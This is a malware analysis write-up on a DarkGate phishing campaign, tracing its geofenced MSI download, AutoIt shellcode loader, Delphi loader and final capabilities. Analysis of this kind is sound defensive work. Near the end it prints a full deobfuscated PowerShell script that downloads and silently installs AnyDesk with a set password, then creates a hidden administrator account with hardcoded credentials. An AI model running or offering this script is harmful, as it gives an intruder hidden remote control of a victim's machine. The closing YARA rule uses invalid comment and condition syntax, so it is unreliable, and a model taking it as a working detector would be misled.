DarkGate Loader

Black-and-white photo of a wrought-iron gate between brick pillars on a misty, tree-lined path

x64 Delphi Loader unleashed by GreetingGhoul

A comprehensive analysis has been conducted on a widespread phishing campaign that has been targeting individuals globally over the past month. The culmination of this campaign’s execution chain results in the deployment of a malware known as DarkGate, which is classified as a loader-type malware.

Context

A loader is malware whose main job is to get other code running: it unpacks or downloads a payload, places it in memory and starts it. Many loader families are rented or sold to other criminals, who use the foothold to install their own malware. The word also names the intermediate stages inside a single infection chain, which exist only to unpack and start the next one. Step 5 below uses both senses: the extracted loader is one of those stages, and DarkGate is the loader family it reveals.

Summary

It is noteworthy that DarkGate is exclusively distributed through underground online forums, with the developer maintaining strict control over the number of available licenses.

The threat actors behind this campaign have employed a high-volume distribution strategy, utilizing stolen email conversation threads to which they had gained access. This approach exploits the tendency of users to trust familiar communication patterns, potentially leading to infection among those unaware of such sophisticated social engineering tactics.

The campaign’s execution flow can be summarized as follows:

  1. Geofence Check: The exact parameters for passing the geofence set by the threat actors remain under investigation. Analysis of successful payload retrievals on URLscan.io revealed the presence of a refresh header in the response, containing the URL for payload download.
    Request and response headers from a payload retrieval, with the Refresh response header outlined in red
    The Refresh header points to hxxps://alianzasuma[.]com/wzxfh.
  2. MSI Loader: Upon successful geofence clearance, an MSI file is downloaded, following the naming convention: Project_[0-9]{7}.msi. This MSI file contains two embedded components:
    • CustomAction.dll
    • WrappedSetupProgram.cab
      File listing with Autoit3.exe (893,608 bytes, Application) and UGtZgHHT.au3 (775,656 bytes, AutoIt v3 Script)
      Contents of WrappedSetupProgram.cab.
  3. AutoIT Script: The CustomAction.dll is responsible for unpacking and executing the contents of WrappedSetupProgram.cab, which includes:
    • Autoit3.exe
    • UGtZgHHT.au3 (AutoIT 3 script)
      Hex view at offset 0xA0A5C with the AutoIt marker AU3!EA06 highlighted, preceded by printable text

    Context

    AutoIt is a legitimate Windows automation language, and AutoIt3.exe is its standard interpreter. Through DllCall a script can call Windows API functions directly, which is enough to allocate executable memory, copy shellcode into it and run it. Pairing the genuine interpreter with an obfuscated script therefore puts the malicious logic inside a legitimate, well-known process. Compiled AutoIt script data carries the marker AU3!EA06, which is what the hex view above highlights.

  4. Shellcode Injection: The AutoIT script performs two primary functions:
    • Concatenation of segmented hex-encoded shellcode
      AutoIt source in a text editor: hex strings appended to $SSUGZNUOOE between LOCAL declarations, and a Find dialog reporting 2091 matches for the variable name
      $SSUGZNUOOE collects the hex fragments; the editor counts 2,091 occurrences of the name.
    • Injection and execution of the shellcode
      Disassembly of the shellcode writing an executable into a stack buffer one byte at a time; the first three bytes, M, Z and P, are outlined in red
      x32dbg: a dump of the stack buffer as the shellcode writes an MZP executable into it, and the context menu item Dump Memory to File
      Following the buffer until the whole executable is on the stack, then dumping that memory to a file and trimming the extra bytes.

    Context

    The characters boxed in red above, M, Z and P, are the bytes 4D 5A 50 at the start of a DOS header, the header every Windows executable begins with. Microsoft’s linker writes MZ followed by 0x90 there, while Delphi (Embarcadero’s Object Pascal toolchain, originally Borland’s) traditionally writes MZP, so an MZP header is a quick hint that a PE was built with Delphi or another Borland-lineage tool. Delphi binaries also carry compiler-generated metadata (virtual method tables and RTTI) that names classes and many of their methods; Delphi-aware tools use it to recover program structure that a stripped C binary would not reveal.

  5. Loader Analysis: The extracted loader is responsible for decoding and executing portions of the data stored within the AutoIT script, ultimately revealing the DarkGate loader.
  6. DarkGate Analysis: The final payload, DarkGate, incorporates various capabilities, including:
    • HVNC (Hidden Virtual Network Computing): remote control through a hidden desktop the victim never sees
    • Cryptocurrency miner setup
    • Browser history and cookie theft
    • Remote Desktop Protocol (RDP) functionality
    • HiddenAnyDesk integration

The malware employs sophisticated obfuscation techniques, including custom Base64 encoding and XOR operations, to protect its configuration and network communications. Detailed analysis of these mechanisms has been conducted, and decryption scripts have been developed to facilitate further investigation.

Context

Custom Base64 is the standard Base64 algorithm run with a non-standard 64-character alphabet, often a shuffled copy of the usual one. The output still looks like ordinary Base64, but a standard decoder returns garbage, so decoding it needs the same alphabet the malware used.

In conclusion, this campaign demonstrates a high level of sophistication in its execution, combining social engineering tactics with advanced malware deployment techniques. The multi-stage nature of the attack, coupled with the use of legitimate-looking components and complex obfuscation methods, underscores the evolving landscape of cyber threats and the need for continued vigilance and advanced detection capabilities.

Objective

  • Assess the dangers and capabilities of the submitted Sample & C2 platform
  • Uncover HiddenAnydesk Methodology to submit for patch
  • Provide extracted, de-obfuscated Loading method (AutoIT)

Anydesk Invoke Script Extracted (Deobfuscated)

function Install-AnyDesk {
    param (
        [string]$InstallPath = "C:\ProgramData\AnyDesk",
        [string]$AnyDeskUrl = "http://download.anydesk.com/AnyDesk.exe",
        [string]$Password = "J9kzQ2Y0qO",
        [string]$AdminUsername = "oldadministrator",
        [string]$AdminPassword = "jsbehsid#Zyw4E3"
    )

    # Error handling
    try {
        # Create the installation directory if it doesn't exist
        if (-not (Test-Path -Path $InstallPath -PathType Container)) {
            New-Item -Path $InstallPath -ItemType Directory
        }

        # Download AnyDesk
        Invoke-WebRequest -Uri $AnyDeskUrl -OutFile (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe")

        # Install AnyDesk silently
        Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--install $InstallPath --start-with-win --silent" -Wait

        # Set AnyDesk password
        Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--set-password=$Password" -Wait

        # Create a new user account
        New-LocalUser -Name $AdminUsername -Password (ConvertTo-SecureString -String $AdminPassword -AsPlainText -Force)

        # Add the user to the Administrators group
        Add-LocalGroupMember -Group "Administrators" -Member $AdminUsername

        # Hide the user from the Windows login screen
        Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" -Name $AdminUsername -Value 0 -Type DWORD -Force

        # Get AnyDesk ID
        Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--get-id" -Wait

        Write-Host "Installation completed successfully."
    }
    catch {
        Write-Host "Error: $_"
        Write-Host "Installation failed."
    }
}

# Call the Install-AnyDesk function with default values
Install-AnyDesk

YARA Rule

rule Win_DarkGate
{
	meta:
		author = "dBoudLabs"
		description = "DarkGate Strings"
		date = "2023-07-26"
	strings:
		$chunk_1 = {
			8B 55 ??
			8A 4D ??
			80 E1 3F
			C1 E1 02
			8A 5D ??
			80 E3 30
			81 E3 FF 00 00 00
			
			
			C1 EB 04
			02 CB
			88 4C 10 ??
			FF 45 ??
			80 7D ?? 40
			74 ??
			
			
			8B 45 ??
			E8 ?? ?? ?? ?? #any
			8B 55 ??
			8A 4D ??
			80 E1 0F
			C1 E1 04
			8A 5D ??
			80 E3 3C
			81 E3 FF 00 00 00
			C1 EB 02
			02 CB
			
			
			88 4C 10 ??
			FF 45 ??
			80 7D ?? 40
			74 ??
			8B 45 ??
			E8 ?? ?? ?? ?? #any
			8B 55 ??
			8A 4D ??
			80 E1 03
			C1 E1 06
			8A 5D ??
			80 E3 3F
			
			02 CB
			88 4C 10 ??
			FF 45 ??
		}
	
	condition:
		any
}

Headshot of Daniel Boudreau Daniel Boudreau

Posted in Write-Ups
Write a comment